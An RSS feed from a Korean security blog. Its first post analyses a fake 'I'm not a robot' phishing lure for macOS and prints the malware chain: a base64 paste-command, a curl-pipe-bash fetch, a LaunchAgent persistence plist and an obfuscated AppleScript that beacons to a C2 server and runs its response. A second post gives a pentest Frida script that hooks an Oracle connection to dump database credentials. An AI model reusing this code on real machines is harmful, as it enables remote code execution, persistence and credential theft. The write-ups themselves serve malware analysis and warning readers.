<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>annyoung</title>
    <link>https://nopsled.tistory.com/</link>
    <description>(ISTP) 구독과 좋아요 댓글 고맙습니다 
alertkor[at]gmail.com</description>
    <language>ko</language>
    <pubDate>Mon, 13 Apr 2026 02:45:50 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>nopsled</managingEditor>
    <image>
      <title>annyoung</title>
      <url>https://tistory1.daumcdn.net/tistory/1477855/attach/33f45f4f4e004451a640419e0d39a064</url>
      <link>https://nopsled.tistory.com</link>
    </image>
    <item>
      <title>I'm not a robot 피싱</title>
      <link>https://nopsled.tistory.com/357</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 웹 사이트에서 로봇이 아닌걸 증명해야 한다고 터미널에서 무언가 실행하라고 하길래 무슨 동작을할까 싶어서 살짝 찍먹해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;1480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHBmad/dJMcajhtW3j/mMxLBc4sKp36Swe4e2Q5S1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHBmad/dJMcajhtW3j/mMxLBc4sKp36Swe4e2Q5S1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHBmad/dJMcajhtW3j/mMxLBc4sKp36Swe4e2Q5S1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHBmad%2FdJMcajhtW3j%2FmMxLBc4sKp36Swe4e2Q5S1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;1480&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;1480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775785037793&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;Y3VybCAtcyAnaHR0c***[REMOVED]***2gnIHwgYmFzaA==&quot; | base64 -d | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복사된 내용은 위와 같았고, base64로 인코딩된 문자열을 디코딩하여 bash 쉘로 실행해주는 역할을 하는데 디코딩하게되면 다음과 같은 내용이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775785032710&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -s 'https://***[REMOVED]***.digital/script.sh' | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지로 curl의 -s 옵션을 줬는데 slient mode로 output을 출력하지 않고 해당 script.sh를 다운로드 받아 bash 쉘로 실행하며 실행되는 내용은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #ffffff; text-align: start;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;osascript -e &quot;$(echo &quot;ZG8gc2hlbGwgc2***[REMOVED]***+DQo8L3BsaXN0Pg0=&quot; | base64 -d)&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;osascript(AppleScript)의 -e(execute) 옵션을 사용해 base64로 인코딩된 무언가를 디코딩한 후 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775785210387&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;do shell script &quot;
SCRIPT_PATH=\&quot;$HOME/Library/jaqyeseegglnlxbj\&quot;;
mkdir -p \&quot;$HOME/Library/LaunchAgents\&quot;;
cat &amp;gt; \&quot;$HOME/Library/LaunchAgents/com.jaqyeseegglnlxbj.plist\&quot; &amp;lt;&amp;lt;END_PLIST
&amp;lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;UTF-8\&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC \&quot;-//Apple Computer//DTD PLIST 1.0//EN\&quot; \&quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd\&quot;&amp;gt;
&amp;lt;plist version=\&quot;1.0\&quot;&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;com.jaqyeseegglnlxbj&amp;lt;/string&amp;gt;
    &amp;lt;key&amp;gt;KeepAlive&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;RunAtLoad&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;
    &amp;lt;array&amp;gt;
        &amp;lt;string&amp;gt;/bin/bash&amp;lt;/string&amp;gt;
        &amp;lt;string&amp;gt;-c&amp;lt;/string&amp;gt;
        &amp;lt;string&amp;gt;echo 'c2V0IF9xV3NNWVQ0eiB0***[REMOVED]***gplbmQgaWY=' | base64 -d | osascript&amp;lt;/string&amp;gt;
    &amp;lt;/array&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
END_PLIST
&quot;
do shell script &quot;launchctl unload ~/Library/LaunchAgents/com.jaqyeseegglnlxbj.plist 2&amp;gt;/dev/null&quot;
do shell script &quot;launchctl load ~/Library/LaunchAgents/com.jaqyeseegglnlxbj.plist&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데몬 등록해서 컴퓨터가 켜질때 자동으로 바이너리가 실행될 수 있도록 하는데, bash쉘로 c(command)옵션을 줘서 base64로 인코딩된 문자열을 디코딩한 후 다시 osascript로 실행하는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775784872639&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;set _qWsMYT4z to &quot;hqCnS8YTVCQx0&quot;
set _m2i0igRQy to &quot;XtiNS5rmLuWcE&quot;
set __xbFfmLcXA to (475 + 350) * 7
set __wb3jlMkzPTd to 168.2011
property ***[REMOVED]*** : {((character id 112) &amp;amp; ***[REMOVED]*** &amp;amp; (ASCII character 99) &amp;amp; &quot;f&quot; &amp;amp; &quot;d&quot;)}
property ***[REMOVED]***: &quot;&quot;
property ***[REMOVED]***: (&quot;f0&quot; &amp;amp; ***[REMOVED]*** &amp;amp; (ASCII character 100) &amp;amp; (character id 101) &amp;amp; (character id 52) &amp;amp; &quot;a&quot; &amp;amp; &quot;9&quot; &amp;amp; (character id 54) &amp;amp; (character id 50) &amp;amp; (character id 48) &amp;amp; (ASCII character 50) &amp;amp; (character id 57) &amp;amp; &quot;b66&quot; &amp;amp; &quot;ed&quot; &amp;amp; (character id 56) &amp;amp; (character id 53) &amp;amp; (ASCII character 101))
property ***[REMOVED]*** : &quot;&quot;

on __ORuyqOlns5()
    repeat with _PfgtcEkdQ in __Ec0tcgIh
        set _cMKkcc1N to (contents of _PfgtcEkdQ)
        set __kSC4ZSAG7 to ((ASCII character 104) &amp;amp; &quot;t&quot; &amp;amp; (ASCII character 116) &amp;amp; &quot;p&quot; &amp;amp; (ASCII character 58) &amp;amp; (ASCII character 47) &amp;amp; (character id 47)) &amp;amp; _cMKkcc1N &amp;amp; (character id 47)
        try
            set __apV8lF0 to do shell script (***[REMOVED]***) &amp;amp; (character id 49) &amp;amp; &quot;0 &quot;) &amp;amp; quoted form of __kSC4ZSAG7
            if __apV8lF0 is (&quot;s&quot; &amp;amp; &quot;u&quot; &amp;amp; &quot;c&quot; &amp;amp; (character id 99) &amp;amp; &quot;e&quot; &amp;amp; &quot;s&quot; &amp;amp; (ASCII character 115)) then
                set __gXHhFRhSUW to ***[REMOVED]***
                return true
            end if
        end try
    end repeat
    try
        set _cMKkcc1N to ***[REMOVED]***(ASCII character 108) &amp;amp; (character id 32) &amp;amp; &quot;-&quot; &amp;amp; (character id 115) &amp;amp; (ASCII character 32) &amp;amp; &quot;-&quot; &amp;amp; (character id 45) &amp;amp; &quot;co&quot; &amp;amp; (character id 110) &amp;amp; &quot;n&quot; &amp;amp; (ASCII character 101) &amp;amp; (character id 99) &amp;amp; (character id 116) &amp;amp; (ASCII character 45) &amp;amp; (ASCII character 116) &amp;amp; (ASCII character 105) &amp;amp; &quot;m&quot; &amp;amp; (ASCII character 101) &amp;amp; (ASCII character 111) &amp;amp; &quot;ut&quot; &amp;amp; &quot; &quot; &amp;amp; (ASCII character 53) &amp;amp; (ASCII character 32) &amp;amp; (ASCII character 45) &amp;amp; &quot;-&quot; &amp;amp; (ASCII character 109) &amp;amp; &quot;a&quot; &amp;amp; (ASCII character 120) &amp;amp; &quot;-&quot; &amp;amp; (ASCII character 116) &amp;amp; (ASCII character 105) &amp;amp; (ASCII character 109) &amp;amp; (character id 101) &amp;amp; (ASCII character 32) &amp;amp; (ASCII character 49) &amp;amp; (ASCII character 48) &amp;amp; (ASCII character 32) &amp;amp; (ASCII character 104) &amp;amp; (character id 116) &amp;amp; &quot;tps&quot; &amp;amp; (ASCII character 58) &amp;amp; (character id 47) &amp;amp; &quot;/&quot; &amp;amp; &quot;t.&quot; &amp;amp; (ASCII character 109) &amp;amp; (ASCII character 101) &amp;amp; &quot;/&quot; &amp;amp; &quot;ax0&quot; &amp;amp; &quot;3b&quot; &amp;amp; &quot;o&quot; &amp;amp; (ASCII character 116) &amp;amp; &quot; | &quot; &amp;amp; (character id 115) &amp;amp; (character id 101) &amp;amp; (character id 100) &amp;amp; (character id 32) &amp;amp; &quot;-n &quot; &amp;amp; (character id 39) &amp;amp; (ASCII character 115) &amp;amp; (ASCII character 47) &amp;amp; (ASCII character 46) &amp;amp; (character id 42) &amp;amp; &quot;&amp;lt;&quot; &amp;amp; (ASCII character 115) &amp;amp; &quot;p&quot; &amp;amp; &quot;a&quot; &amp;amp; (ASCII character 110) &amp;amp; &quot; &quot; &amp;amp; (character id 100) &amp;amp; (ASCII character 105) &amp;amp; (character id 114) &amp;amp; (character id 61) &amp;amp; (character id 34) &amp;amp; (character id 97) &amp;amp; (ASCII character 117) &amp;amp; &quot;to&quot; &amp;amp; (character id 34) &amp;amp; (character id 62) &amp;amp; (character id 92) &amp;amp; (ASCII character 40) &amp;amp; (ASCII character 91) &amp;amp; &quot;^&quot; &amp;amp; (character id 60) &amp;amp; (ASCII character 93) &amp;amp; (ASCII character 42) &amp;amp; (character id 92) &amp;amp; (character id 41) &amp;amp; &quot;&amp;lt;&quot; &amp;amp; (ASCII character 92) &amp;amp; (ASCII character 47) &amp;amp; (ASCII character 115) &amp;amp; (ASCII character 112) &amp;amp; (character id 97) &amp;amp; (character id 110) &amp;amp; &quot;&amp;gt;&quot; &amp;amp; &quot;.&quot; &amp;amp; &quot;*/&quot; &amp;amp; (character id 92) &amp;amp; &quot;1/&quot; &amp;amp; (ASCII character 112) &amp;amp; (character id 39))
        set __kSC4ZSAG7 to (string id {104, 116, 116, 112, 58, 47, 47}) &amp;amp; _cMKkcc1N &amp;amp; (character id 47)
        set __apV8lF0 to do shell script (&quot;/&quot; &amp;amp; ***[REMOVED]*** &amp;amp; (ASCII character 117) &amp;amp; (character id 114) &amp;amp; (character id 108) &amp;amp; &quot; &quot; &amp;amp; (ASCII character 45) &amp;amp; (ASCII character 115) &amp;amp; &quot; &quot; &amp;amp; (ASCII character 45) &amp;amp; (character id 72) &amp;amp; (character id 32)) &amp;amp; quoted form of _c7Y0vxsS1J &amp;amp; (&quot; &quot; &amp;amp; &quot;-&quot; &amp;amp; (ASCII character 100) &amp;amp; (character id 32) &amp;amp; (ASCII character 34) &amp;amp; (character id 99) &amp;amp; &quot;h&quot; &amp;amp; (character id 101) &amp;amp; (ASCII character 99) &amp;amp; (character id 107) &amp;amp; (ASCII character 34) &amp;amp; &quot; --&quot; &amp;amp; &quot;c&quot; &amp;amp; &quot;onn&quot; &amp;amp; (ASCII character 101) &amp;amp; (ASCII character 99) &amp;amp; &quot;t-t&quot; &amp;amp; &quot;ime&quot; &amp;amp; &quot;out&quot; &amp;amp; (character id 32) &amp;amp; &quot;5&quot; &amp;amp; (character id 32) &amp;amp; (character id 45) &amp;amp; &quot;-&quot; &amp;amp; (ASCII character 109) &amp;amp; (character id 97) &amp;amp; &quot;x&quot; &amp;amp; (ASCII character 45) &amp;amp; &quot;ti&quot; &amp;amp; (ASCII character 109) &amp;amp; (character id 101) &amp;amp; (ASCII character 32) &amp;amp; (ASCII character 49) &amp;amp; &quot;0&quot; &amp;amp; (ASCII character 32)) &amp;amp; quoted form of __kSC4ZSAG7
        if __apV8lF0 is ((ASCII character 115) &amp;amp; &quot;ucc&quot; &amp;amp; (character id 101) &amp;amp; (character id 115) &amp;amp; (character id 115)) then
            set __gXHhFRhSUW to __kSC4ZSAG7
            return true
        end if
    end try
    return false
end __ORuyqOlns5

set _c7Y0vxsS1J to ((ASCII character 85) &amp;amp; (ASCII character 115) &amp;amp; (ASCII character 101) &amp;amp; &quot;r-&quot; &amp;amp; (ASCII character 65) &amp;amp; (ASCII character 103) &amp;amp; &quot;e&quot; &amp;amp; (character id 110) &amp;amp; &quot;t: &quot; &amp;amp; (character id 77) &amp;amp; (character id 111) &amp;amp; &quot;zil&quot; &amp;amp; (ASCII character 108) &amp;amp; (ASCII character 97) &amp;amp; (ASCII character 47) &amp;amp; (character id 53) &amp;amp; (ASCII character 46) &amp;amp; (ASCII character 48) &amp;amp; (ASCII character 32) &amp;amp; (character id 40) &amp;amp; &quot;Mac&quot; &amp;amp; &quot;in&quot; &amp;amp; (character id 116) &amp;amp; (ASCII character 111) &amp;amp; (character id 115) &amp;amp; &quot;h&quot; &amp;amp; &quot;;&quot; &amp;amp; (character id 32) &amp;amp; (ASCII character 73) &amp;amp; (character id 110) &amp;amp; &quot;t&quot; &amp;amp; &quot;el&quot; &amp;amp; (character id 32) &amp;amp; (ASCII character 77) &amp;amp; (character id 97) &amp;amp; (ASCII character 99) &amp;amp; &quot; &quot; &amp;amp; (character id 79) &amp;amp; &quot;S&quot; &amp;amp; (character id 32) &amp;amp; (character id 88) &amp;amp; &quot; &quot; &amp;amp; &quot;1&quot; &amp;amp; (character id 48) &amp;amp; (ASCII character 95) &amp;amp; &quot;1&quot; &amp;amp; (character id 53) &amp;amp; (ASCII character 95) &amp;amp; (ASCII character 55) &amp;amp; (ASCII character 41) &amp;amp; &quot; A&quot; &amp;amp; (character id 112) &amp;amp; (character id 112) &amp;amp; (ASCII character 108) &amp;amp; &quot;e&quot; &amp;amp; (ASCII character 87) &amp;amp; (ASCII character 101) &amp;amp; (character id 98) &amp;amp; (ASCII character 75) &amp;amp; (ASCII character 105) &amp;amp; (character id 116) &amp;amp; (ASCII character 47) &amp;amp; (ASCII character 53) &amp;amp; (character id 51) &amp;amp; (ASCII character 55) &amp;amp; (ASCII character 46) &amp;amp; (ASCII character 54) &amp;amp; (character id 55) &amp;amp; &quot; &quot; &amp;amp; (ASCII character 40) &amp;amp; (ASCII character 75) &amp;amp; (character id 72) &amp;amp; (ASCII character 84) &amp;amp; (character id 77) &amp;amp; (ASCII character 76) &amp;amp; (character id 44) &amp;amp; (character id 32) &amp;amp; (character id 108) &amp;amp; (character id 105) &amp;amp; (ASCII character 107) &amp;amp; (ASCII character 101) &amp;amp; (ASCII character 32) &amp;amp; &quot;Gec&quot; &amp;amp; &quot;k&quot; &amp;amp; (ASCII character 111) &amp;amp; (character id 41) &amp;amp; (character id 32) &amp;amp; &quot;C&quot; &amp;amp; (character id 104) &amp;amp; (character id 114) &amp;amp; &quot;o&quot; &amp;amp; (character id 109) &amp;amp; &quot;e/1&quot; &amp;amp; (ASCII character 52) &amp;amp; &quot;5&quot; &amp;amp; (character id 46) &amp;amp; (character id 49) &amp;amp; (ASCII character 46) &amp;amp; (character id 52) &amp;amp; (character id 46) &amp;amp; &quot;1&quot; &amp;amp; &quot;1&quot; &amp;amp; &quot; &quot; &amp;amp; (ASCII character 83) &amp;amp; (character id 97) &amp;amp; &quot;f&quot; &amp;amp; (ASCII character 97) &amp;amp; (ASCII character 114) &amp;amp; (character id 105) &amp;amp; (ASCII character 47) &amp;amp; (character id 53) &amp;amp; &quot;37&quot; &amp;amp; &quot;.&quot; &amp;amp; &quot;67&quot;)

if __ORuyqOlns5() then	
	set __Oxs1TXRuMan to (string id {99, 117, 114, 108, 32, 45, 115, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 49, 48, 32, 45, 45, 114, 101, 116, 114, 121, 32, 51, 32, 45, 45, 114, 101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 50, 32}) &amp;amp; ((ASCII character 45) &amp;amp; (ASCII character 88) &amp;amp; (ASCII character 32) &amp;amp; (ASCII character 80) &amp;amp; (ASCII character 79) &amp;amp; (character id 83) &amp;amp; (ASCII character 84) &amp;amp; (character id 32)) &amp;amp; quoted form of __gXHhFRhSUW &amp;amp; (character id 32) &amp;amp; ((ASCII character 45) &amp;amp; (ASCII character 72) &amp;amp; (character id 32)) &amp;amp; quoted form of _c7Y0vxsS1J &amp;amp; (character id 32) &amp;amp; ((ASCII character 45) &amp;amp; (ASCII character 100) &amp;amp; (character id 32)) &amp;amp; quoted form of (((character id 116) &amp;amp; (ASCII character 120) &amp;amp; (ASCII character 105) &amp;amp; (character id 100) &amp;amp; (character id 61)) &amp;amp; _bHwoo7HIuGJ &amp;amp; ((character id 38) &amp;amp; (character id 98) &amp;amp; &quot;m&quot; &amp;amp; &quot;o&quot; &amp;amp; (ASCII character 100) &amp;amp; &quot;ul&quot; &amp;amp; (ASCII character 101))) &amp;amp; ((character id 32) &amp;amp; (character id 124) &amp;amp; (character id 32) &amp;amp; &quot;o&quot; &amp;amp; (ASCII character 115) &amp;amp; (character id 97) &amp;amp; (character id 115) &amp;amp; (character id 99) &amp;amp; &quot;rip&quot; &amp;amp; (character id 116))
    set __v8kRbKEqefd to do shell script __Oxs1TXRuMan
end if&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 위와 같은 애플스크립트가 나오며 다음과 같은 행동을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) __Ec0tcgIh 함수에서는 C2 도메인을 구해온 후 연결시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;gt; C2 서버로 요청하고 응답 성공하는 경우 C2 URL을 받아오고, 실패하는 경우 텔레그램 봇을 통해 대체 도메인 받아 C2 서버를 셋팅함(Fallback C2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) _bHwoo7HIuGJ의 경우 트랜잭션 ID를 구함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) _c7Y0vxsS1J에서는 User-Agent를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로는 C 서버로부터 데이터를 전달받아 애플 스크립트로 무언가를 실행하는데, C2 서버 도메인 몇번 들락날락 했더니 CF에서 차단함...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론은 복붙 조심하자!&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹페이지에서는 fetch(&quot;&lt;a href=&quot;https://www.naver.com/favicon.ico&quot;&gt;https://www.naver.com/favicon.ico&lt;/a&gt;&quot;);라고 써있어서 복사하기 했는데, 실제로는 저런 악성코드를 직접 실행할 수도 있으니까 말이다.&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>분석생활</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/357</guid>
      <comments>https://nopsled.tistory.com/357#entry357comment</comments>
      <pubDate>Fri, 10 Apr 2026 10:56:03 +0900</pubDate>
    </item>
    <item>
      <title>Frida hooking oracle connect CS binary</title>
      <link>https://nopsled.tistory.com/356</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Delphi로 만든 CS 프로그램 모의해킹 진행하면서 몇가지 적어보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 델파이로 만든 CS 프로그램의 경우 폴더 구조를 살펴보면 &lt;code&gt;*.bpl&lt;/code&gt; 이라는 확장자를 사용하곤 하는데 Borland Package Library의 줄임말로, 쉽게 말하자면 Delphi에서 사용하기 위한 dll이라 생각하면 된다. 그렇기에 bpl 확장자가 보이면 &quot;아. 델파이구만!&quot; 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대다수의 델파이로 만든 CS 프로그램이 Oracle TNS Protocol을 이용해 DB와 직접 커넥션을 맺는데, 이렇게 DB로 바로 접속하게되면 개발사의 장점은 유지보수가 쉽다는거고, 단점은 DB 계정 정보가 무조건적으로 노출된다는거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 DB 계정정보를 Config.ini에 암호화해서 저장하더라도 DB 연결을 위해 복호화하게 되는데 치트엔진으로 string 위주로 간단하게 메모리에서 열심히 찾아봐도 되고, 설정을 저장하고 있는 파일(Config.ini 등)에 나오는 아이디, 비밀번호를 서로 바꿔서 메모리를 확인하는 꼼수를 사용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니면 그냥 loadLibrary로 원하는 호출 이후 frida 스크립트짜서 돌려도 되긴한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 dbxora30.dll!DBXConnection_Connect 이후, char* 문자열 3개(DB, USER, PASS)를 받아 길이를 계산하고 실제 OCI(Oracle Call Interface) 연결 함수로 넘겨주는 wrapper를 후킹하는 스크립트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 여기서 가져오지 못하는 대상 아이피 또는 Local Naming을 이용해 접속하는 경우 tnsnames.ora 파일이나 wireshark에서 tns로 필터링해서 확인하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;/**
 * Frida&amp;gt;=17.5.1
 * Hook oracle connection db, user, password
 */
const loadLibrary = Process.getModuleByName(&quot;kernel32.dll&quot;).getExportByName(&quot;LoadLibraryA&quot;);
let isModuleLoaded = false;
let isHookAttached = false;

Interceptor.attach(loadLibrary, {
    onEnter: function (args) {
        this.library_path = args[0].readUtf8String();
        if (this.library_path === &quot;dbxora30.dll&quot;) {
            isModuleLoaded = true;
        }
    },
    onLeave: function (retval) {
        if (isModuleLoaded &amp;amp;&amp;amp; !isHookAttached) {
            isHookAttached = true;
            const hookTarget = Process.getModuleByName(&quot;dbxora30.dll&quot;).base.add(0x12FF8);
            Interceptor.attach(hookTarget, {
                onEnter: function (args) {
                    const db = args[1].readAnsiString();
                    const user = args[2].readAnsiString();
                    const pwd = args[3].readAnsiString();

                    console.log();
                    console.log(`[+] Oracle Connect`);
                    console.log(`DB     : ${db}`);
                    console.log(`User   : ${user}`);
                    console.log(`Password: ${pwd}`);
                }
            }); 
        }
    }
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <category>Oracle</category>
      <category>TNS</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/356</guid>
      <comments>https://nopsled.tistory.com/356#entry356comment</comments>
      <pubDate>Thu, 19 Mar 2026 16:13:25 +0900</pubDate>
    </item>
    <item>
      <title>docxtpl을 이용한 보고서 자동화</title>
      <link>https://nopsled.tistory.com/355</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;보고서 작성에 지루함을 느낀 사람이라면 공감할거라 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 3년동안은 보고서를 수동으로 쓰다가 이거 어느정도 자동화 되겠는데? 싶어서 오토핫키로 처음에 맛만 봤다가 퍼포먼스가 너무 하자있어서 python으로 포팅하고 나서 지금까지 잘 쓰고있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모듈은 이걸 사용했다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docxtpl.readthedocs.io/en/latest/&quot;&gt;https://docxtpl.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dL7wGr/dJMcabXxgvN/kVmqPlApKyD6eqhKbVfWnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dL7wGr/dJMcabXxgvN/kVmqPlApKyD6eqhKbVfWnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dL7wGr/dJMcabXxgvN/kVmqPlApKyD6eqhKbVfWnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdL7wGr%2FdJMcabXxgvN%2FkVmqPlApKyD6eqhKbVfWnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;754&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 보고서에다가 jinja template을 사용하면 잘 채워준다. docx에 코딩이라니..ㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 paragraph와 indentation이 조금 헬이니 참고할 것...&lt;/p&gt;
